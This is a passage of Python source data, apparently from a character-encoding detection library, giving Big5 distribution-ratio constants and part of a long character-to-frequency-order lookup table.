Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98 # Random Distribution Ration = 512/(5401-512)=0.105 # # Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75 #Char to FreqOrder table BIG5_TABLE_SIZE = 5376 Big5CharToFreqOrder = ( 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, # 16 3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, # 32 1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, # 48 63,5010,5011, 317,1614, 75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, # 64 3682, 3, 10,3973,1471, 29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, # 80 4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947, 34,3556,3204, 64, 604, # 96 5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337, 72, 406,5017, 80, # 112 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449, 69,2987, 591, # 128 179,2096, 471, 115,2035,1844, 60, 50,2988, 134, 806,1869, 734,2036,3454, 180, # 144 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, # 160 2502, 90,2716,1338, 663, 11, 906,1099,2553, 20,2441, 182, 532,1716,5019, 732, # 176 1376,4204,1311,1420,3206, 25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, # 192 3276, 475,1447,3683,5020, 117, 21, 656, 810,1297,2300,2334,3557,5021, 126,4205, # 208 706, 456, 150, 613,4513, 71,1118,2037,4206, 145,3092, 85, 835, 486,2115,1246, # 224 1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, # 240 3558,3135,5023,1956,1153,4207, 83, 296,1199,3093, 192, 624, 93,5024, 822,1898, # 256 2823,3136, 795,2065, 991,1554,1542,1592, 27, 43,2867, 859, 139,1456, 860,4514, # 272 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, # 288 3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, # 304 1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, # 320 5026,5027,2176,3207,3685,2682, 593, 845,1062,3277, 88,1723,2038,3978,1951, 212, # 336 266, 152, 149, 468,1899,4208,4516, 77, 187,5028,3038, 37, 5,2990,5029,3979, # 352 5030,5031, 39,2524,4517,2908,3208,2079, 55, 148, 74,4518, 545, 483,1474,1029, # 368 1665, 217,1870,1531,3138,1104,2655,4209, 24, 172,3562, 900,3980,3563,3564,4519, # 384 32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683, 4,3039,3351,1427,1789, # 400 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, # 416 3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439, 38,5037,1063,5038, 794, # 432 3982,1435,2301, 46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804, 35, 707, # 448 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, # 464 2129,1363,3689,1423, 697, 100,3094, 48, 70,1231, 495,3139,2196,5043,1294,5044, # 480 2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, # 496 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, # 512 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, # 528 3817,4212,2053,2361,1222,4524, 765,2419,1322, 786,4525,5047,1920,1462,1677,2909, # 544 1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, # 560 1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, # 576 1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381, 7, # 592 2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, # 608 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, # 624 4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, # 640 1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, # 656 5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, # 672 2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, # 688 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, # 704 98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, # 720 523,2789,2790,2658,5061, 141,2235,1333, 68, 176, 441, 876, 907,4220, 603,2602, # 736 710, 171,3464, 404, 549, 18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, # 752 5063,2991, 368,5064, 146, 366, 99, 871,3693,1543, 748, 807,1586,1185, 22,2263, # 768 379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, # 784 1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068, 59,5069, # 800 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, # 816 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, # 832 5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, # 848 1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, # 864 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, # 880 3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, # 896 4224, 57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, # 912 3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, # 928 279,3145, 51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, # 944 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, # 960 1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, # 976 4227,2475,1436, 953,4228,2055,4545, 671,2400, 79,4229,2446,3285, 608, 567,2689, # 992 3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, # 1008 3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, # 1024 2402,5097,5098,5099,4232,3045, 0,5100,2476, 315, 231,2447, 301,3356,4549,2385, # 1040 5101, 233,4233,3697,1819,4550,4551,5102, 96,1777,1315,2083,5103, 257,5104,1810, # 1056 3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, # 1072 5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, # 1088 1484,5110,1712, 127, 67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, # 1104 2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, # 1120 1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, # 1136 78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, # 1152 1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, # 1168 4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, # 1184 3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, # 1200 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, # 1216 165, 243,4559,3703,2528, 123, 683,4239, 764,4560, 36,3998,1793, 589,2916, 816, # 1232 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, # 1248 2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, # 1264 5122, 611,1156, 854,2386,1316,2875, 2, 386, 515,2918,5123,5124,3286, 868,2238, # 1280 1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, # 1296 2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, # 1312 1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, # 1328 1994,5135,4564,5136,5137,2198, 13,2792,3704,2998,3149,1229,1917,5138,3835,2132, # 1344 5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, # 1360 5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, # 1376 5149, 128,2133, 92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, # 1392 3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, # 1408 4567,2252, 94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, # 1424 4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, # 1440 2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, # 1456 5163,2337,2068, 23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, # 1472 3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, # 1488 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, # 1504 5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863, 41, # 1520 5170,5171,4575,5172,1657,2338, 19, 463,2760,4251, 606,5173,2999,3289,1087,2085, # 1536 1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, # 1552 2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, # 1568 3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, # 1584 4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, # 1600 5182,2692, 733, 40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, # 1616 3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, # 1632 4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, # 1648 1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, # 1664 1871,2762,3004,5187, 435,5188, 343,1108, 596, 17,1751,4579,2239,3477,3709,5189, # 1680 4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, # 1696 1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, # 1712 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, # 1728 1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, # 1744 1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, # 1760 3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, # 1776 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, # 1792 5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, # 1808 2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, # 1824 1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, # 1840 1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551, 30,2268,4266, # 1856 5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, # 1872 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, # 1888 4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, # 1904 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, # 1920 2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, # 1936 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, # 1952 1041,3005, 293,1168, 87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, # 1968 1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, # 1984 730,1515, 184,2840, 66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, # 2000 4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, # 2016 4021,5231,5232,1186, 15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, # 2032 1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, # 2048 3596,1342,1681,1718, 766,3297, 286, 89,2961,3715,5236,1713,5237,2607,3371,3008, # 2064 5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, # 2080 5240,3298, 310, 313,3482,2304, 770,4278, 54,3054, 189,4611,3105,3848,4025,5241, # 2096 1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, # 2112 2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, # 2128 1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, # 2144 3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, # 2160 2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, # 2176 3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, # 2192 2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, # 2208 4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, # 2224 4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, # 2240 3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, # 2256 97, 81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, # 2272 3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, # 2288 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, # 2304 3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, # 2320 4032,3375,5271, 513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, # 2336 3722,3604, 815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, # 2352 1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, # 2368 5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, # 2384 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, # 2400 5286, 587, 14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, # 2416 1702,1226, 102,1547, 62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, # 2432 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, # 2448 4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294, 86,1494,1730, # 2464 4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, # 2480 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, # 2496 2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, # 2512 2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885, 28,2695, # 2528 3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, # 2544 1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, # 2560 4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, # 2576 2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, # 2592 1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, # 2608 1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, # 2624 2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, # 2640 3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, # 2656 1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, # 2672 5313,3493,5314,5315,5316,3310,2698,1433,3311, 131, 95,1504,4049, 723,4303,3166, # 2688 1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, # 2704 4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654, 53,5320,3014,5321, # 2720 1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, # 2736 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, # 2752 1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, # 2768 4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, # 2784 4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, # 2800 2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, # 2816 1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, # 2832 4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, # 2848 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, # 2864 5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, # 2880 2322,3316,5346,5347,4308,5348,4309, 84,4310, 112, 989,5349, 547,1059,4064, 701, # 2896 3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, # 2912 4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, # 2928 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, # 2944 5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, # 2960 5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, # 2976 1238,2586,3109,1259,5361, 700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, # 2992 4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, # 3008 4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, # 3024 2699,1516,3614,1121,1082,1329,3317,4073,1449,3873, 65,1128,2848,2927,2769,1590, # 3040 3874,5370,5371, 12,2668, 45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, # 3056 3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, # 3072 2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, # 3088 1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, # 3104 4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, # 3120 3736,1859, 91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, # 3136 3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, # 3152 2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, # 3168 4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771, 61,4079,3738,1823,4080, # 3184 5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, # 3200 3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, # 3216 2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, # 3232 3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, # 3248 1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, # 3264 2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, # 3280 3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, # 3296 4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063, 56,1396,3113, # 3312 2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, # 3328 2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, # 3344 5418,1076, 49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, # 3360 1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, # 3376 2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, # 3392 1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, # 3408 3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, # 3424 4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629, 31,2851, # 3440 2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, # 3456 3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, # 3472 3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, # 3488 2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, # 3504 4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, # 3520 2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, # 3536 3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, # 3552 4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, # 3568 5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, # 3584 3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, # 3600 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, # 3616 1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412, 42,3119, 464,5455,2642, # 3632 4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, # 3648 1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, # 3664 4701,5462,3020, 962, 588,3629, 289,3250,2644,1116, 52,5463,3067,1797,5464,5465, # 3680 5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, # 3696 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, # 3712 5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, # 3728 5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, # 3744 2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, # 3760 3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, # 3776 2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, # 3792 2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, # 3808 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, # 3824 1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, # 3840 4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, # 3856 3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, # 3872 3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, # 3888 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, # 3904 2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, # 3920 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, # 3936 2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, # 3952 4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, # 3968 1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, # 3984 4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, # 4000 1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, # 4016 3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, # 4032 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, # 4048 3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, # 4064 5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, # 4080 5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, # 4096 3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, # 4112 3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, # 4128 1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, # 4144 2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, # 4160 5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, # 4176 1561,2674,1452,4113,1375,5549,5550, 47,2974, 316,5551,1406,1591,2937,3181,5552, # 4192 1025,2142,3125,3182, 354,2740, 884,2228,4369,2412, 508,3772, 726,3638, 996,2433, # 4208 3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, # 4224 919,2352,2975,2353,1270,4727,4115, 73,5556,5557, 647,5558,3259,2856,2259,1550, # 4240 1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, # 4256 4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, # 4272 5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, # 4288 2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, # 4304 3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, # 4320 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, # 4336 1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, # 4352 2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, # 4368 2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, # 4384 5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, # 4400 5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, # 4416 5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, # 4432 2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, # 4448 2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, # 4464 1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, # 4480 4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, # 4496 3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, # 4512 